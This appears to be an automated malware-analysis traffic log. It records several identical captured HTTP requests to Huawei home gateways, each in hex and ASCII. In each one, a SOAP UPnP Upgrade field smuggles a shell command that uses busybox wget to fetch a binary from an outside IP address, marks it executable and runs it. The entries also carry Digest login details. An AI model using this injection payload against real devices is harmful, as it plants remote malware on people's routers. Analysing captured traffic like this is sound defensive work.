76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 